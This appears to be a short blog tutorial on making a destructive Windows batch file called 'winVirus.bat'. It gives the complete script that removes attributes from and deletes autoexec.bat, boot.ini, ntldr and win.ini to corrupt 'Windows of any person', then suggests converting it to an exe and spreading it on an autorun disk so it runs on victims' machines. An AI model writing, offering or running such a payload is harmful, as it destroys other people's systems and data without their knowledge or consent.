I assume you know the basics about batch files before reading this post. Batch files are used to run a dos command without opening command prompt window. You can run many dos commands using a single batch file. This post will show you some batch files which can corrupt your Windows OS. You can also say that these batch files can work like a virus. So be careful and do not try it in your computer.

• Autoexec.bat
• Ntldr
• Boot.ini
• Win.ini

These files are very important and necessary for any Windows operating system. So if you want to corrupt Windows of any person, you have to delete these four files from the computer.
Open notepad and copy the following statements :

@echo off 
attrib -r -s -h c:\autoexec.bat 
del c:\autoexec.bat 
attrib -r -s -h c:\boot.ini 
del c:\boot.ini 
attrib -r -s -h c:\ntldr 
del c:\ntldr 
attrib -r -s -h c:\windows\win.ini 
del c:\windows\win.ini 

save this code as winVirus.bat.

If you want to make it more harmful, make its exe using bat_to_exe converter and make an autorun disk of it. When someone uses the disk, autorun will execute itself and command generated by the batch file will corrupt the windows.